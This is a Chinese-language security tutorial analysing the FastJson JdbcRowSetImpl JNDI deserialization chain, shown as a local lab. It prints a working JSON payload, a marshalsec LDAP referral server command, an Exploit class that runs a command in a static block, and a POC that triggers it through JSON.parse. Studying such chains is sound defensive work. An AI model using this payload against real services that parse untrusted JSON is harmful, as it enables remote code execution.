Java安全之FastJson JdbcRowSetImpl 链分析
0x00 前言
这一次我们来学习 JdbcRowSetImpl 利用链, JdbcRowSetImpl 的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要 Json.parse(input) 即可进行命令执行。
0x01 漏洞分析
利用限制
首先来说说限制,基于JNDI+RMI或JDNI+LADP进行攻击,会有一定的JDK版本限制。
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
攻击流程
1.首先是这个lookup(URI)参数可控
2.攻击者控制URI参数为指定为恶意的一个RMI服务
3.攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
4.目标在进行 lookup() 操作时,会动态加载并实例化Factory类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;
5.攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;
JDNI注入细节
简单分析一下lookup参数可控后,如何走到RCE.
调用链:
- -> RegistryContext.decodeObject()
- -> NamingManager.getObjectInstance()
- -> factory.getObjectInstance()
- -> NamingManager.getObjectFactoryFromReference()
- -> helper.loadClass(factoryName);
loadclass进行实例化,触发静态代码块的Runtime代码执行命令执行。
调试分析
影响版本:fastjson <= 1.2.24
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
从前文的TemplatesImpl链分析中得知FastJson在反序列化时会去调用get、set、is方法。
- @type: 目标反序列化类名;
- dataSourceName: RMI注册中心绑定恶意服务;
- autoCommit :在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。
详细分析fastjson如何解析可查看 Fastjson TemplatesImpl链分析 文章,再次不做赘诉。
启动LDAP服务端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389
Exploit代码,需将代码编译成class文件然后挂在到web中
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC代码:
package com.nice0e3;
import com.alibaba.fastjson.JSON;
public class POC {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
看到payload中的 dataSourceName 参数在解析时候则会调用 setDataSourceName 对 DataSourceNamece 变量进行赋值,来看到代码